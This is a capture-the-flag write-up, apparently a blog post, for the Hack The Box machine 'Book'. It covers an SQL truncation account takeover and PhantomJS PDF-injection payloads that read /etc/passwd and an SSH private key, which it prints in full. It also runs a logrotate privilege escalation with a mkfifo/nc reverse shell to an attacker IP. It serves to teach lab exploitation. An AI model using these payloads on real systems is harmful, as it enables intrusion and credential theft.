Post

Hack The Box - Book

Configuration

The operating systems that I will be using to tackle this machine is a Kali Linux VM and a Windows Commando VM.

What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts.

1
$ echo "10.10.10.176 book.htb" >> /etc/hosts

Reconnaissance

Using nmap, we are able to determine the open ports and running services on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ nmap -sV -sT -sC -T5 book.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-14 04:27 EDT
Nmap scan report for book.htb (10.10.10.176)
Host is up (0.24s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
|   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.53 seconds

Enumeration (1)

Not much can be done with the ssh service as we do not have any credentials on hand so lets come back to it later. As for the http service, maybe lets see what it has to offer ?

http://book.htb/:

We don’t have an account but lets sign up for one.

Logging in brings us to what seems to be an online book collection.

http://book.htb/home.php:

There was a page where we could upload our own books but it will be subjected to approval, which I believe is by the admin.

http://book.htb/collections.php:

We also see found the admin’s email admin@book.htb.

http://book.htb/contact.php:

It took a while to look for a possible vector into the box but I happened to chance upon something on the login/register page where I saw a certain segment in the javascript code where it does the validation of the user’s input when registering.

http://book.htb/:

1
2
3
4
5
6
7
8
9
10
11
12
function validateForm() {
  var x = document.forms["myForm"]["name"].value;
  var y = document.forms["myForm"]["email"].value;
  if (x == "") {
    alert("Please fill name field. Should not be more than 10 characters");
    return false;
  }
  if (y == "") {
    alert("Please fill email field. Should not be more than 20 characters");
    return false;
  }
}

This validation code is poorly implemented as even though the alerts informs the user of the character limit, it does not enforce it. Lets check if this is enfored on the server side. I decided to register a new account but with an email of length 21, admin@book.htb1234567.

After submitting the above request, I tried to logging in but failed due to wrong credentials. Is it possible that my email was truncated? I tried logging in one more time but with one character less, admin@book.htb123456, and was successful! This seems like it is vulnerable to SQL Truncation Attack.

If we try registering with the email admin@book.htb%20%20%20%20%20%201 and logging it with it, we login as admin@book.htb!

However, not much can be done but perhaps there is an admin page somewhere so lets brute-force some directories with gobuster!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ gobuster dir -u http://book.htb/ -w /usr/share/wordlists/dirb/big.txt -t 12 -k -x .php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://book.htb/
[+] Threads:        12
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403                                                                   	                                                                     
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2020/04/09 12:41:45 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/admin (Status: 301)
/books.php (Status: 302)
/collections.php (Status: 302)
/contact.php (Status: 302)
/db.php (Status: 200)
/docs (Status: 301)
/download.php (Status: 302)
/feedback.php (Status: 302)
/home.php (Status: 302)
/images (Status: 301)
/index.php (Status: 200)
/logout.php (Status: 302)
/profile.php (Status: 302)
/search.php (Status: 302)
/server-status (Status: 403)
/settings.php (Status: 302)
===============================================================
2020/04/09 12:51:57 Finished
===============================================================

Seems like /admin is what we are looking for.

Fortunately for us, we already have the admin credentials so lets just login with it. However, there was only one page that caught my attention.

http://book.htb/admin/collections.php.

Clicking on the PDF link beside User will download a .pdf file containing a list of the usernames and emails in a table. Likewise, for the PDF link beside Collections will download a .pdf file containing the list of books on the website.

It seems like the .pdf files are generated on the fly but the question is how? I tried inject all sort of values but something stuck out: HTML tags. Apparently, HTML tags are being rendered when generating the pdf files. This is what happens when I change my username to <h1>I am a H1</h1>:

Interesting… Lets see if we can perform SSRF with this:

First I start a nc server on port 80 to receive the web request.

1
2
$ nc -lvnp 80
listening on [any] 80 ...

I then change my username to <img src ="http://10.10.XX.XX"> and download the .pdf again. Sadly I did not get any request, probably because the name was truncated to probably 10 characters if you remember from registration validation code. Lets try to submit a book and use the PDF link for Collections.

This time, I put <img src ="http://10.10.XX.XX"> as the Book Title, uploaded a random file and then download the .pdf file.

On my nc, I caught the raw web request:

1
2
3
4
5
6
7
8
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.176] 55942
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: 10.10.XX.XX

SSRF was successful but what caught my eye was the PhantomJS in the User-Agent header.

1
2
3
4
5
PhantomJS is a headless web browser scriptable with JavaScript. It runs on Windows, macOS, Linux, and FreeBSD.

Using QtWebKit as the back-end, it offers fast and native support for various web standards: DOM handling, CSS selector, JSON, Canvas, and SVG.

The following simple script for PhantomJS loads Google homepage, waits a bit, and then captures it to an image.

Exploitation (1)

From this link, it states that PhantomJS has the function to create PDFs from HTML. Cool! To exploit this, I followed this guide to read the /etc/passwd file.

Submitting the following as my Book Title:

1
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script> 

Returns this pdf:

Hmm…There is the ssh service running on the machine and there is a user called reader with the home directory at /home/reader. Lets see if we can find any private keys in /home/reader/.ssh, which are typically named as id_rsa.

1
<script>x=new XMLHttpRequest;x.onload=function(){document.write('<script>x=new XMLHttpRequest;x.onload=function(){document.write('<p style="width:100%; word-wrap: break-word;">' + this.responseText + '</p>')};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>

Notice that I had to specify width of 100% and break-word. This is because the key was too long and parts of the key will be missed out if I didn’t.

I then used pdftotext to convert the PDF to text:

1
$ pdftotext 19868.pdf 

Because of the break-word, you will need to manually remove the newlines to fix the private key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ cat 19868.txt
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ
G8m6UNZyRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnVCpiHPpJ0
WxtCK0VlQUwxZ6953D16uxlRH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80NdjUCl/0
ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd/j3xWXHgpaJciHKxeNlr8x6NgbPv4s
7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hLW1UGx/13fh20cZXA6PK
75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+kh7hihAbIi7
3mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtgToFwxsD+
McKIrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3iuQRwzUI
tIGcAaz3dTODgDO04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9ERdiuX6WJ
jhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX50/owz
7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lcPzvVGOEGQzkuu4ljFkYz6sZ8GMx6
GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmTmk3A7jOwke0o8/4FL
E2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZiPlSNbc8/
ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjAoGBAOe+
SRM/Abh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpei6Sv8et7l
skGl3dh4M/2Tgl/gYPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickgD2fv+V
o5GVjWTOlfEj74k8hC6GjzWHna0pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj9l/g7m
Hc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl/FOW2AFbkzoNbHT9GpTj5ZfacC
hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJl4IjT80u
Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27pOAMYkh
sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQHc2XoY8YCf
tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVc/zLi
5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj162pnlW
y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0zMfWT9TN
nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4= 
-----END RSA PRIVATE KEY-----

user.txt

Using the private key, we can ssh into the box.

1
2
3
4
$ chmod 700 19868.txt
$ ssh -i 19868.txt reader@book.htb
reader@book:~$ cat user.txt 
51c1XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Enumeration (2)

In the home directory was

I first uploaded pspy to /tmp so that I could monitor for processes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
reader@book:/tmp$ wget http://10.10.XX.XX/pspy
--2020-07-11 11:40:51--  http://10.10.XX.XX/pspy
Connecting to 10.10.XX.XX:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1090528 (1.0M) [application/octet-stream]
Saving to: ‘pspy’

pspy                                                    100%[===============================================================================================================================>]   1.04M   584KB/s    in 1.8s    

2020-07-11 11:40:54 (584 KB/s) - ‘pspy’ saved [1090528/1090528]

reader@book:/tmp$ chmod +x pspy && ./pspy
...
2020/07/11 11:50:22 CMD: UID=0    PID=48727  | /usr/sbin/logrotate -f /root/log.cfg 

logrotate was being ran from time to time as root and its version was outdated!

1
2
reader@book:/tmp$ logrotate --version
logrotate 3.11.0

Exploitation (2)

According to this link, logrotate version 3.15.1 and below are vulnerable to an exploit called logrotten.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
reader@book:/tmp$ wget http://10.10.XX.XX/logrotten.c
--2020-07-11 12:43:27--  http://10.10.14.7/logrotten.c
Connecting to 10.10.14.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5796 (5.7K) [text/plain]
Saving to: ‘logrotten.c’

logrotten.c                                             100%[===============================================================================================================================>]   5.66K  --.-KB/s    in 0.006s  

2020-07-11 12:43:27 (975 KB/s) - ‘logrotten.c’ saved [5796/5796]

reader@book:/tmp$ gcc logrotten.c 
reader@book:/tmp$ gcc logrotten.c -o logrotten
reader@book:/tmp$ ./logrotten 
usage: logrotten [OPTION...] <logfile>
  -h  --help                 Print this help               
  -t  --targetdir <dir>      Abosulte path to the target directory
  -p  --payloadfile <file>   File that contains the payload
  -s  --sleep <sec>          Wait before writing the payload
  -d  --debug                Print verbose debug messages  
  -c  --compress             Hijack compressed files instead of created logfiles
  -o  --open                 Use IN_OPEN instead of IN_MOVED_FROM

To use logrotten, we need to prepare a script that will act as our payload.

1
2
cat payloadfile
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 1337 >/tmp/f

The above script creates a reverse shell connection back to us, so need to prepare a listener as well using nc.

1
2
$ nc -lvnp 1337
listening on [any] 1337 ...

Lastly, we will need to target a suitable log file that is configured to create a new copy of itself when rotated. Coincidentially, there was a access.log in /home/reader/backups/. Echoing a line into it causes it to rotate immediately!

1
2
3
4
5
6
7
8
9
10
11
12
reader@book:~/backups$ ls -al 
total 8
drwxr-xr-x 2 reader reader 4096 Jul 11 13:58 .
drwxr-xr-x 7 reader reader 4096 Jan 29 13:05 ..
-rw-r--r-- 1 reader reader    0 Jul 11 13:42 access.log
reader@book:~/backups$ echo something >> access.log
reader@book:~/backups$ ls -al 
total 12
drwxr-xr-x 2 reader reader 4096 Jul 11 13:59 .
drwxr-xr-x 7 reader reader 4096 Jan 29 13:05 ..
-rw-r--r-- 1 reader reader    0 Jul 11 13:59 access.log
-rw-r--r-- 1 reader reader   10 Jul 11 13:59 access.log.1

To execute logrotten successfully, I will need to start another ssh session that will echo the line into access.log while my current ssh session will execute logrotten.

On current ssh session:

1
2
reader@book:/tmp$ ./logrotten -p payloadfile /home/reader/backups/access.log
Waiting for rotating /home/reader/backups/access.log...

On another ssh session:

1
reader@book:~/backups$ echo something >> access.log

On current ssh session again:

1
2
3
Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload...
Done!

root.txt

logrotten has successfully created a symbolic link of our payload to /etc/bash_completion.d, so now we just need to run /bin/bash to force the execution of our payload and voila, we caught the shell as root!

1
2
3
4
5
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.176] 49512
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
84daXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.